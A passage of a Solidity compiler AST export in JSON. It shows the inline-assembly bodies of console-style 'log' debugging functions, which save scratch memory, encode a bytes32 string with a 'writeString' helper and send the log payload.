":"42910:23:22","nodeType":"YulFunctionCall","src":"42910:23:22"},"nativeSrc":"42907:36:22","nodeType":"YulIf","src":"42907:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"42862:6:22","nodeType":"YulIdentifier","src":"42862:6:22"},{"kind":"number","nativeSrc":"42870:4:22","nodeType":"YulLiteral","src":"42870:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"42859:2:22","nodeType":"YulIdentifier","src":"42859:2:22"},"nativeSrc":"42859:16:22","nodeType":"YulFunctionCall","src":"42859:16:22"},"nativeSrc":"42852:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"42876:28:22","nodeType":"YulBlock","src":"42876:28:22","statements":[{"nativeSrc":"42878:24:22","nodeType":"YulAssignment","src":"42878:24:22","value":{"arguments":[{"name":"length","nativeSrc":"42892:6:22","nodeType":"YulIdentifier","src":"42892:6:22"},{"kind":"number","nativeSrc":"42900:1:22","nodeType":"YulLiteral","src":"42900:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"42888:3:22","nodeType":"YulIdentifier","src":"42888:3:22"},"nativeSrc":"42888:14:22","nodeType":"YulFunctionCall","src":"42888:14:22"},"variableNames":[{"name":"length","nativeSrc":"42878:6:22","nodeType":"YulIdentifier","src":"42878:6:22"}]}]},"pre":{"nativeSrc":"42856:2:22","nodeType":"YulBlock","src":"42856:2:22","statements":[]},"src":"42852:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"42969:3:22","nodeType":"YulIdentifier","src":"42969:3:22"},{"name":"length","nativeSrc":"42974:6:22","nodeType":"YulIdentifier","src":"42974:6:22"}],"functionName":{"name":"mstore","nativeSrc":"42962:6:22","nodeType":"YulIdentifier","src":"42962:6:22"},"nativeSrc":"42962:19:22","nodeType":"YulFunctionCall","src":"42962:19:22"},"nativeSrc":"42962:19:22","nodeType":"YulExpressionStatement","src":"42962:19:22"},{"nativeSrc":"42998:37:22","nodeType":"YulVariableDeclaration","src":"42998:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"43015:3:22","nodeType":"YulLiteral","src":"43015:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"43024:1:22","nodeType":"YulLiteral","src":"43024:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"43027:6:22","nodeType":"YulIdentifier","src":"43027:6:22"}],"functionName":{"name":"shl","nativeSrc":"43020:3:22","nodeType":"YulIdentifier","src":"43020:3:22"},"nativeSrc":"43020:14:22","nodeType":"YulFunctionCall","src":"43020:14:22"}],"functionName":{"name":"sub","nativeSrc":"43011:3:22","nodeType":"YulIdentifier","src":"43011:3:22"},"nativeSrc":"43011:24:22","nodeType":"YulFunctionCall","src":"43011:24:22"},"variables":[{"name":"shift","nativeSrc":"43002:5:22","nodeType":"YulTypedName","src":"43002:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"43063:3:22","nodeType":"YulIdentifier","src":"43063:3:22"},{"kind":"number","nativeSrc":"43068:4:22","nodeType":"YulLiteral","src":"43068:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"43059:3:22","nodeType":"YulIdentifier","src":"43059:3:22"},"nativeSrc":"43059:14:22","nodeType":"YulFunctionCall","src":"43059:14:22"},{"arguments":[{"name":"shift","nativeSrc":"43079:5:22","nodeType":"YulIdentifier","src":"43079:5:22"},{"arguments":[{"name":"shift","nativeSrc":"43090:5:22","nodeType":"YulIdentifier","src":"43090:5:22"},{"name":"w","nativeSrc":"43097:1:22","nodeType":"YulIdentifier","src":"43097:1:22"}],"functionName":{"name":"shr","nativeSrc":"43086:3:22","nodeType":"YulIdentifier","src":"43086:3:22"},"nativeSrc":"43086:13:22","nodeType":"YulFunctionCall","src":"43086:13:22"}],"functionName":{"name":"shl","nativeSrc":"43075:3:22","nodeType":"YulIdentifier","src":"43075:3:22"},"nativeSrc":"43075:25:22","nodeType":"YulFunctionCall","src":"43075:25:22"}],"functionName":{"name":"mstore","nativeSrc":"43052:6:22","nodeType":"YulIdentifier","src":"43052:6:22"},"nativeSrc":"43052:49:22","nodeType":"YulFunctionCall","src":"43052:49:22"},"nativeSrc":"43052:49:22","nodeType":"YulExpressionStatement","src":"43052:49:22"}]},"name":"writeString","nativeSrc":"42773:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"42794:3:22","nodeType":"YulTypedName","src":"42794:3:22","type":""},{"name":"w","nativeSrc":"42799:1:22","nodeType":"YulTypedName","src":"42799:1:22","type":""}],"src":"42773:342:22"},{"nativeSrc":"43128:17:22","nodeType":"YulAssignment","src":"43128:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"43140:4:22","nodeType":"YulLiteral","src":"43140:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"43134:5:22","nodeType":"YulIdentifier","src":"43134:5:22"},"nativeSrc":"43134:11:22","nodeType":"YulFunctionCall","src":"43134:11:22"},"variableNames":[{"name":"m0","nativeSrc":"43128:2:22","nodeType":"YulIdentifier","src":"43128:2:22"}]},{"nativeSrc":"43158:17:22","nodeType":"YulAssignment","src":"43158:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"43170:4:22","nodeType":"YulLiteral","src":"43170:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"43164:5:22","nodeType":"YulIdentifier","src":"43164:5:22"},"nativeSrc":"43164:11:22","nodeType":"YulFunctionCall","src":"43164:11:22"},"variableNames":[{"name":"m1","nativeSrc":"43158:2:22","nodeType":"YulIdentifier","src":"43158:2:22"}]},{"nativeSrc":"43188:17:22","nodeType":"YulAssignment","src":"43188:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"43200:4:22","nodeType":"YulLiteral","src":"43200:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"43194:5:22","nodeType":"YulIdentifier","src":"43194:5:22"},"nativeSrc":"43194:11:22","nodeType":"YulFunctionCall","src":"43194:11:22"},"variableNames":[{"name":"m2","nativeSrc":"43188:2:22","nodeType":"YulIdentifier","src":"43188:2:22"}]},{"nativeSrc":"43218:17:22","nodeType":"YulAssignment","src":"43218:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"43230:4:22","nodeType":"YulLiteral","src":"43230:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"43224:5:22","nodeType":"YulIdentifier","src":"43224:5:22"},"nativeSrc":"43224:11:22","nodeType":"YulFunctionCall","src":"43224:11:22"},"variableNames":[{"name":"m3","nativeSrc":"43218:2:22","nodeType":"YulIdentifier","src":"43218:2:22"}]},{"nativeSrc":"43248:17:22","nodeType":"YulAssignment","src":"43248:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"43260:4:22","nodeType":"YulLiteral","src":"43260:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"43254:5:22","nodeType":"YulIdentifier","src":"43254:5:22"},"nativeSrc":"43254:11:22","nodeType":"YulFunctionCall","src":"43254:11:22"},"variableNames":[{"name":"m4","nativeSrc":"43248:2:22","nodeType":"YulIdentifier","src":"43248:2:22"}]},{"nativeSrc":"43278:17:22","nodeType":"YulAssignment","src":"43278:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"43290:4:22","nodeType":"YulLiteral","src":"43290:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"43284:5:22","nodeType":"YulIdentifier","src":"43284:5:22"},"nativeSrc":"43284:11:22","nodeType":"YulFunctionCall","src":"43284:11:22"},"variableNames":[{"name":"m5","nativeSrc":"43278:2:22","nodeType":"YulIdentifier","src":"43278:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"43370:4:22","nodeType":"YulLiteral","src":"43370:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"43376:10:22","nodeType":"YulLiteral","src":"43376:10:22","type":"","value":"0x9591b953"}],"functionName":{"name":"mstore","nativeSrc":"43363:6:22","nodeType":"YulIdentifier","src":"43363:6:22"},"nativeSrc":"43363:24:22","nodeType":"YulFunctionCall","src":"43363:24:22"},"nativeSrc":"43363:24:22","nodeType":"YulExpressionStatement","src":"43363:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"43407:4:22","nodeType":"YulLiteral","src":"43407:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"43413:2:22","nodeType":"YulIdentifier","src":"43413:2:22"}],"functionName":{"name":"mstore","nativeSrc":"43400:6:22","nodeType":"YulIdentifier","src":"43400:6:22"},"nativeSrc":"43400:16:22","nodeType":"YulFunctionCall","src":"43400:16:22"},"nativeSrc":"43400:16:22","nodeType":"YulExpressionStatement","src":"43400:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"43436:4:22","nodeType":"YulLiteral","src":"43436:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"43442:4:22","nodeType":"YulLiteral","src":"43442:4:22","type":"","value":"0x60"}],"functionName":{"name":"mstore","nativeSrc":"43429:6:22","nodeType":"YulIdentifier","src":"43429:6:22"},"nativeSrc":"43429:18:22","nodeType":"YulFunctionCall","src":"43429:18:22"},"nativeSrc":"43429:18:22","nodeType":"YulExpressionStatement","src":"43429:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"43467:4:22","nodeType":"YulLiteral","src":"43467:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"43473:2:22","nodeType":"YulIdentifier","src":"43473:2:22"}],"functionName":{"name":"mstore","nativeSrc":"43460:6:22","nodeType":"YulIdentifier","src":"43460:6:22"},"nativeSrc":"43460:16:22","nodeType":"YulFunctionCall","src":"43460:16:22"},"nativeSrc":"43460:16:22","nodeType":"YulExpressionStatement","src":"43460:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"43501:4:22","nodeType":"YulLiteral","src":"43501:4:22","type":"","value":"0x80"},{"name":"p1","nativeSrc":"43507:2:22","nodeType":"YulIdentifier","src":"43507:2:22"}],"functionName":{"name":"writeString","nativeSrc":"43489:11:22","nodeType":"YulIdentifier","src":"43489:11:22"},"nativeSrc":"43489:21:22","nodeType":"YulFunctionCall","src":"43489:21:22"},"nativeSrc":"43489:21:22","nodeType":"YulExpressionStatement","src":"43489:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35090,"isOffset":false,"isSlot":false,"src":"43128:2:22","valueSize":1},{"declaration":35093,"isOffset":false,"isSlot":false,"src":"43158:2:22","valueSize":1},{"declaration":35096,"isOffset":false,"isSlot":false,"src":"43188:2:22","valueSize":1},{"declaration":35099,"isOffset":false,"isSlot":false,"src":"43218:2:22","valueSize":1},{"declaration":35102,"isOffset":false,"isSlot":false,"src":"43248:2:22","valueSize":1},{"declaration":35105,"isOffset":false,"isSlot":false,"src":"43278:2:22","valueSize":1},{"declaration":35082,"isOffset":false,"isSlot":false,"src":"43413:2:22","valueSize":1},{"declaration":35084,"isOffset":false,"isSlot":false,"src":"43507:2:22","valueSize":1},{"declaration":35086,"isOffset":false,"isSlot":false,"src":"43473:2:22","valueSize":1}],"id":35107,"nodeType":"InlineAssembly","src":"42750:770:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":35109,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"43545:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786134","id":35110,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"43551:4:22","typeDescriptions":{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"},"value":"0xa4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"}],"id":35108,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"43529:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":35111,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"43529:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":35112,"nodeType":"ExpressionStatement","src":"43529:27:22"},{"AST":{"nativeSrc":"43575:185:22","nodeType":"YulBlock","src":"43575:185:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"43596:4:22","nodeType":"YulLiteral","src":"43596:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"43602:2:22","nodeType":"YulIdentifier","src":"43602:2:22"}],"functionName":{"name":"mstore","nativeSrc":"43589:6:22","nodeType":"YulIdentifier","src":"43589:6:22"},"nativeSrc":"43589:16:22","nodeType":"YulFunctionCall","src":"43589:16:22"},"nativeSrc":"43589:16:22","nodeType":"YulExpressionStatement","src":"43589:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"43625:4:22","nodeType":"YulLiteral","src":"43625:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"43631:2:22","nodeType":"YulIdentifier","src":"43631:2:22"}],"functionName":{"name":"mstore","nativeSrc":"43618:6:22","nodeType":"YulIdentifier","src":"43618:6:22"},"nativeSrc":"43618:16:22","nodeType":"YulFunctionCall","src":"43618:16:22"},"nativeSrc":"43618:16:22","nodeType":"YulExpressionStatement","src":"43618:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"43654:4:22","nodeType":"YulLiteral","src":"43654:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"43660:2:22","nodeType":"YulIdentifier","src":"43660:2:22"}],"functionName":{"name":"mstore","nativeSrc":"43647:6:22","nodeType":"YulIdentifier","src":"43647:6:22"},"nativeSrc":"43647:16:22","nodeType":"YulFunctionCall","src":"43647:16:22"},"nativeSrc":"43647:16:22","nodeType":"YulExpressionStatement","src":"43647:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"43683:4:22","nodeType":"YulLiteral","src":"43683:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"43689:2:22","nodeType":"YulIdentifier","src":"43689:2:22"}],"functionName":{"name":"mstore","nativeSrc":"43676:6:22","nodeType":"YulIdentifier","src":"43676:6:22"},"nativeSrc":"43676:16:22","nodeType":"YulFunctionCall","src":"43676:16:22"},"nativeSrc":"43676:16:22","nodeType":"YulExpressionStatement","src":"43676:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"43712:4:22","nodeType":"YulLiteral","src":"43712:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"43718:2:22","nodeType":"YulIdentifier","src":"43718:2:22"}],"functionName":{"name":"mstore","nativeSrc":"43705:6:22","nodeType":"YulIdentifier","src":"43705:6:22"},"nativeSrc":"43705:16:22","nodeType":"YulFunctionCall","src":"43705:16:22"},"nativeSrc":"43705:16:22","nodeType":"YulExpressionStatement","src":"43705:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"43741:4:22","nodeType":"YulLiteral","src":"43741:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"43747:2:22","nodeType":"YulIdentifier","src":"43747:2:22"}],"functionName":{"name":"mstore","nativeSrc":"43734:6:22","nodeType":"YulIdentifier","src":"43734:6:22"},"nativeSrc":"43734:16:22","nodeType":"YulFunctionCall","src":"43734:16:22"},"nativeSrc":"43734:16:22","nodeType":"YulExpressionStatement","src":"43734:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35090,"isOffset":false,"isSlot":false,"src":"43602:2:22","valueSize":1},{"declaration":35093,"isOffset":false,"isSlot":false,"src":"43631:2:22","valueSize":1},{"declaration":35096,"isOffset":false,"isSlot":false,"src":"43660:2:22","valueSize":1},{"declaration":35099,"isOffset":false,"isSlot":false,"src":"43689:2:22","valueSize":1},{"declaration":35102,"isOffset":false,"isSlot":false,"src":"43718:2:22","valueSize":1},{"declaration":35105,"isOffset":false,"isSlot":false,"src":"43747:2:22","valueSize":1}],"id":35113,"nodeType":"InlineAssembly","src":"43566:194:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"42569:3:22","parameters":{"id":35087,"nodeType":"ParameterList","parameters":[{"constant":false,"id":35082,"mutability":"mutable","name":"p0","nameLocation":"42578:2:22","nodeType":"VariableDeclaration","scope":35115,"src":"42573:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":35081,"name":"bool","nodeType":"ElementaryTypeName","src":"42573:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":35084,"mutability":"mutable","name":"p1","nameLocation":"42590:2:22","nodeType":"VariableDeclaration","scope":35115,"src":"42582:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35083,"name":"bytes32","nodeType":"ElementaryTypeName","src":"42582:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":35086,"mutability":"mutable","name":"p2","nameLocation":"42602:2:22","nodeType":"VariableDeclaration","scope":35115,"src":"42594:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":35085,"name":"address","nodeType":"ElementaryTypeName","src":"42594:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"42572:33:22"},"returnParameters":{"id":35088,"nodeType":"ParameterList","parameters":[],"src":"42620:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":35150,"nodeType":"FunctionDefinition","src":"43772:1200:22","nodes":[],"body":{"id":35149,"nodeType":"Block","src":"43829:1143:22","nodes":[],"statements":[{"assignments":[35125],"declarations":[{"constant":false,"id":35125,"mutability":"mutable","name":"m0","nameLocation":"43847:2:22","nodeType":"VariableDeclaration","scope":35149,"src":"43839:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35124,"name":"bytes32","nodeType":"ElementaryTypeName","src":"43839:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35126,"nodeType":"VariableDeclarationStatement","src":"43839:10:22"},{"assignments":[35128],"declarations":[{"constant":false,"id":35128,"mutability":"mutable","name":"m1","nameLocation":"43867:2:22","nodeType":"VariableDeclaration","scope":35149,"src":"43859:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35127,"name":"bytes32","nodeType":"ElementaryTypeName","src":"43859:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35129,"nodeType":"VariableDeclarationStatement","src":"43859:10:22"},{"assignments":[35131],"declarations":[{"constant":false,"id":35131,"mutability":"mutable","name":"m2","nameLocation":"43887:2:22","nodeType":"VariableDeclaration","scope":35149,"src":"43879:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35130,"name":"bytes32","nodeType":"ElementaryTypeName","src":"43879:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35132,"nodeType":"VariableDeclarationStatement","src":"43879:10:22"},{"assignments":[35134],"declarations":[{"constant":false,"id":35134,"mutability":"mutable","name":"m3","nameLocation":"43907:2:22","nodeType":"VariableDeclaration","scope":35149,"src":"43899:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35133,"name":"bytes32","nodeType":"ElementaryTypeName","src":"43899:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35135,"nodeType":"VariableDeclarationStatement","src":"43899:10:22"},{"assignments":[35137],"declarations":[{"constant":false,"id":35137,"mutability":"mutable","name":"m4","nameLocation":"43927:2:22","nodeType":"VariableDeclaration","scope":35149,"src":"43919:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35136,"name":"bytes32","nodeType":"ElementaryTypeName","src":"43919:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35138,"nodeType":"VariableDeclarationStatement","src":"43919:10:22"},{"assignments":[35140],"declarations":[{"constant":false,"id":35140,"mutability":"mutable","name":"m5","nameLocation":"43947:2:22","nodeType":"VariableDeclaration","scope":35149,"src":"43939:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35139,"name":"bytes32","nodeType":"ElementaryTypeName","src":"43939:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35141,"nodeType":"VariableDeclarationStatement","src":"43939:10:22"},{"AST":{"nativeSrc":"43968:758:22","nodeType":"YulBlock","src":"43968:758:22","statements":[{"body":{"nativeSrc":"44011:313:22","nodeType":"YulBlock","src":"44011:313:22","statements":[{"nativeSrc":"44029:15:22","nodeType":"YulVariableDeclaration","src":"44029:15:22","value":{"kind":"number","nativeSrc":"44043:1:22","nodeType":"YulLiteral","src":"44043:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"44033:6:22","nodeType":"YulTypedName","src":"44033:6:22","type":""}]},{"body":{"nativeSrc":"44114:40:22","nodeType":"YulBlock","src":"44114:40:22","statements":[{"body":{"nativeSrc":"44143:9:22","nodeType":"YulBlock","src":"44143:9:22","statements":[{"nativeSrc":"44145:5:22","nodeType":"YulBreak","src":"44145:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"44131:6:22","nodeType":"YulIdentifier","src":"44131:6:22"},{"name":"w","nativeSrc":"44139:1:22","nodeType":"YulIdentifier","src":"44139:1:22"}],"functionName":{"name":"byte","nativeSrc":"44126:4:22","nodeType":"YulIdentifier","src":"44126:4:22"},"nativeSrc":"44126:15:22","nodeType":"YulFunctionCall","src":"44126:15:22"}],"functionName":{"name":"iszero","nativeSrc":"44119:6:22","nodeType":"YulIdentifier","src":"44119:6:22"},"nativeSrc":"44119:23:22","nodeType":"YulFunctionCall","src":"44119:23:22"},"nativeSrc":"44116:36:22","nodeType":"YulIf","src":"44116:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"44071:6:22","nodeType":"YulIdentifier","src":"44071:6:22"},{"kind":"number","nativeSrc":"44079:4:22","nodeType":"YulLiteral","src":"44079:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"44068:2:22","nodeType":"YulIdentifier","src":"44068:2:22"},"nativeSrc":"44068:16:22","nodeType":"YulFunctionCall","src":"44068:16:22"},"nativeSrc":"44061:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"44085:28:22","nodeType":"YulBlock","src":"44085:28:22","statements":[{"nativeSrc":"44087:24:22","nodeType":"YulAssignment","src":"44087:24:22","value":{"arguments":[{"name":"length","nativeSrc":"44101:6:22","nodeType":"YulIdentifier","src":"44101:6:22"},{"kind":"number","nativeSrc":"44109:1:22","nodeType":"YulLiteral","src":"44109:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"44097:3:22","nodeType":"YulIdentifier","src":"44097:3:22"},"nativeSrc":"44097:14:22","nodeType":"YulFunctionCall","src":"44097:14:22"},"variableNames":[{"name":"length","nativeSrc":"44087:6:22","nodeType":"YulIdentifier","src":"44087:6:22"}]}]},"pre":{"nativeSrc":"44065:2:22","nodeType":"YulBlock","src":"44065:2:22","statements":[]},"src":"44061:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"44178:3:22","nodeType":"YulIdentifier","src":"44178:3:22"},{"name":"length","nativeSrc":"44183:6:22","nodeType":"YulIdentifier","src":"44183:6:22"}],"functionName":{"name":"mstore","nativeSrc":"44171:6:22","nodeType":"YulIdentifier","src":"44171:6:22"},"nativeSrc":"44171:19:22","nodeType":"YulFunctionCall","src":"44171:19:22"},"nativeSrc":"44171:19:22","nodeType":"YulExpressionStatement","src":"44171:19:22"},{"nativeSrc":"44207:37:22","nodeType":"YulVariableDeclaration","src":"44207:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"44224:3:22","nodeType":"YulLiteral","src":"44224:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"44233:1:22","nodeType":"YulLiteral","src":"44233:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"44236:6:22","nodeType":"YulIdentifier","src":"44236:6:22"}],"functionName":{"name":"shl","nativeSrc":"44229:3:22","nodeType":"YulIdentifier","src":"44229:3:22"},"nativeSrc":"44229:14:22","nodeType":"YulFunctionCall","src":"44229:14:22"}],"functionName":{"name":"sub","nativeSrc":"44220:3:22","nodeType":"YulIdentifier","src":"44220:3:22"},"nativeSrc":"44220:24:22","nodeType":"YulFunctionCall","src":"44220:24:22"},"variables":[{"name":"shift","nativeSrc":"44211:5:22","nodeType":"YulTypedName","src":"44211:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"44272:3:22","nodeType":"YulIdentifier","src":"44272:3:22"},{"kind":"number","nativeSrc":"44277:4:22","nodeType":"YulLiteral","src":"44277:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"44268:3:22","nodeType":"YulIdentifier","src":"44268:3:22"},"nativeSrc":"44268:14:22","nodeType":"YulFunctionCall","src":"44268:14:22"},{"arguments":[{"name":"shift","nativeSrc":"44288:5:22","nodeType":"YulIdentifier","src":"44288:5:22"},{"arguments":[{"name":"shift","nativeSrc":"44299:5:22","nodeType":"YulIdentifier","src":"44299:5:22"},{"name":"w","nativeSrc":"44306:1:22","nodeType":"YulIdentifier","src":"44306:1:22"}],"functionName":{"name":"shr","nativeSrc":"44295:3:22","nodeType":"YulIdentifier","src":"44295:3:22"},"nativeSrc":"44295:13:22","nodeType":"YulFunctionCall","src":"44295:13:22"}],"functionName":{"name":"shl","nativeSrc":"44284:3:22","nodeType":"YulIdentifier","src":"44284:3:22"},"nativeSrc":"44284:25:22","nodeType":"YulFunctionCall","src":"44284:25:22"}],"functionName":{"name":"mstore","nativeSrc":"44261:6:22","nodeType":"YulIdentifier","src":"44261:6:22"},"nativeSrc":"44261:49:22","nodeType":"YulFunctionCall","src":"44261:49:22"},"nativeSrc":"44261:49:22","nodeType":"YulExpressionStatement","src":"44261:49:22"}]},"name":"writeString","nativeSrc":"43982:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"44003:3:22","nodeType":"YulTypedName","src":"44003:3:22","type":""},{"name":"w","nativeSrc":"44008:1:22","nodeType":"YulTypedName","src":"44008:1:22","type":""}],"src":"43982:342:22"},{"nativeSrc":"44337:17:22","nodeType":"YulAssignment","src":"44337:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"44349:4:22","nodeType":"YulLiteral","src":"44349:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"44343:5:22","nodeType":"YulIdentifier","src":"44343:5:22"},"nativeSrc":"44343:11:22","nodeType":"YulFunctionCall","src":"44343:11:22"},"variableNames":[{"name":"m0","nativeSrc":"44337:2:22","nodeType":"YulIdentifier","src":"44337:2:22"}]},{"nativeSrc":"44367:17:22","nodeType":"YulAssignment","src":"44367:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"44379:4:22","nodeType":"YulLiteral","src":"44379:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"44373:5:22","nodeType":"YulIdentifier","src":"44373:5:22"},"nativeSrc":"44373:11:22","nodeType":"YulFunctionCall","src":"44373:11:22"},"variableNames":[{"name":"m1","nativeSrc":"44367:2:22","nodeType":"YulIdentifier","src":"44367:2:22"}]},{"nativeSrc":"44397:17:22","nodeType":"YulAssignment","src":"44397:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"44409:4:22","nodeType":"YulLiteral","src":"44409:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"44403:5:22","nodeType":"YulIdentifier","src":"44403:5:22"},"nativeSrc":"44403:11:22","nodeType":"YulFunctionCall","src":"44403:11:22"},"variableNames":[{"name":"m2","nativeSrc":"44397:2:22","nodeType":"YulIdentifier","src":"44397:2:22"}]},{"nativeSrc":"44427:17:22","nodeType":"YulAssignment","src":"44427:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"44439:4:22","nodeType":"YulLiteral","src":"44439:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"44433:5:22","nodeType":"YulIdentifier","src":"44433:5:22"},"nativeSrc":"44433:11:22","nodeType":"YulFunctionCall","src":"44433:11:22"},"variableNames":[{"name":"m3","nativeSrc":"44427:2:22","nodeType":"YulIdentifier","src":"44427:2:22"}]},{"nativeSrc":"44457:17:22","nodeType":"YulAssignment","src":"44457:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"44469:4:22","nodeType":"YulLiteral","src":"44469:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"44463:5:22","nodeType":"YulIdentifier","src":"44463:5:22"},"nativeSrc":"44463:11:22","nodeType":"YulFunctionCall","src":"44463:11:22"},"variableNames":[{"name":"m4","nat